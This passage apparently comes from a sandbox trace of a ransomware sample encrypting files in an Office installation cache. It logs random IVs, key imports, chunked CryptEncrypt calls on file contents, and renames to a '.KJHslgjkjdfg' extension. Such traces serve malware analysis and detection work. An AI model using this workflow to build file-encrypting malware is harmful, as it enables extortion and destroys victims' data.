hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0146.473] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.473] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0146.475] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2634d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.475] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0146.475] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0146.475] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0146.489] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0146.492] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.492] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0146.493] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2634d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.493] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0146.493] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0146.494] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2634d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.494] SetEndOfFile (hFile=0x124) returned 1 [0146.496] GetProcessHeap () returned 0x990000 [0146.496] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0146.496] GetProcessHeap () returned 0x990000 [0146.496] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0146.496] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.kjhslgjkjdfg")) returned 1 [0146.497] CloseHandle (hObject=0x124) returned 1 [0146.497] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerPointMUI.xml", cAlternateFileName="POWERP~1.XML")) returned 1 [0146.497] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0146.497] GetProcessHeap () returned 0x990000 [0146.497] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0146.497] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0146.497] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0146.497] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0x6, lpOverlapped=0x0) returned 1 [0146.507] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0146.507] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0146.507] GetProcessHeap () returned 0x990000 [0146.507] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0146.508] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0146.508] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0146.508] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0146.508] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0146.508] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0146.508] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0146.508] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0146.508] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0146.508] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0146.508] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0146.508] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.508] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5aa, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x5aa, lpOverlapped=0x0) returned 1 [0146.509] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x5b0) returned 1 [0146.509] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.509] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x5b0, lpOverlapped=0x0) returned 1 [0146.509] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0146.509] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.509] SetEndOfFile (hFile=0x124) returned 1 [0146.512] GetProcessHeap () returned 0x990000 [0146.512] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0146.512] GetProcessHeap () returned 0x990000 [0146.512] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0146.512] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.kjhslgjkjdfg")) returned 1 [0146.520] CloseHandle (hObject=0x124) returned 1 [0146.521] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x431a290, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PptLR.cab", cAlternateFileName="")) returned 1 [0146.521] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0146.526] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x29df508 | out: lpFileSize=0x29df508*=70361744) returned 1 [0146.526] GetProcessHeap () returned 0x990000 [0146.526] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0146.526] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0146.526] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.527] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0146.527] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0146.527] GetProcessHeap () returned 0x990000 [0146.527] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0146.527] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df4d8*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df4d8*=0x30) returned 1 [0146.527] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0146.527] WriteFile (in: hFile=0x124, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df4f4*=0x30, lpOverlapped=0x0) returned 1 [0146.532] WriteFile (in: hFile=0x124, lpBuffer=0x29df4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df4fc*, lpNumberOfBytesWritten=0x29df4f4*=0x4, lpOverlapped=0x0) returned 1 [0146.532] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f4*=0x10, lpOverlapped=0x0) returned 1 [0146.532] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f4*=0x80, lpOverlapped=0x0) returned 1 [0146.532] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0146.532] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f4*=0x8, lpOverlapped=0x0) returned 1 [0146.533] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0146.533] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0146.533] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0146.533] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0146.546] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0146.553] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.553] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0146.554] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x431a354, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.554] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0146.554] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0146.554] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0146.558] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0146.562] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.562] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0146.563] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x431a354, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.563] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0146.563] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0146.563] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0146.566] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0146.570] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.570] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0146.570] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x431a354, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.570] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0146.571] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0146.571] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x431a354, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.571] SetEndOfFile (hFile=0x124) returned 1 [0146.574] GetProcessHeap () returned 0x990000 [0146.575] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0146.575] GetProcessHeap () returned 0x990000 [0146.575] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0146.575] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.kjhslgjkjdfg")) returned 1 [0146.575] CloseHandle (hObject=0x124) returned 1 [0146.576] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0146.576] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0146.576] GetProcessHeap () returned 0x990000 [0146.576] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0146.576] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0146.576] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0146.576] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0x2, lpOverlapped=0x0) returned 1 [0146.579] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0146.579] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0146.579] GetProcessHeap () returned 0x990000 [0146.579] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0146.579] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30) returned 1 [0146.579] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0146.579] WriteFile (in: hFile=0x124, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df4f8*=0x30, lpOverlapped=0x0) returned 1 [0146.579] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0146.579] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0146.579] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0146.579] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0146.579] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0146.580] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0146.580] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0146.580] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.580] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x75e, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x75e, lpOverlapped=0x0) returned 1 [0146.580] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x760, dwBufLen=0x760 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x760) returned 1 [0146.580] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.580] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x760, lpOverlapped=0x0) returned 1 [0146.580] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0146.580] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x824, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.581] SetEndOfFile (hFile=0x124) returned 1 [0146.582] GetProcessHeap () returned 0x990000 [0146.582] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0146.582] GetProcessHeap () returned 0x990000 [0146.582] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0146.582] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0146.588] CloseHandle (hObject=0x124) returned 1 [0146.588] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, 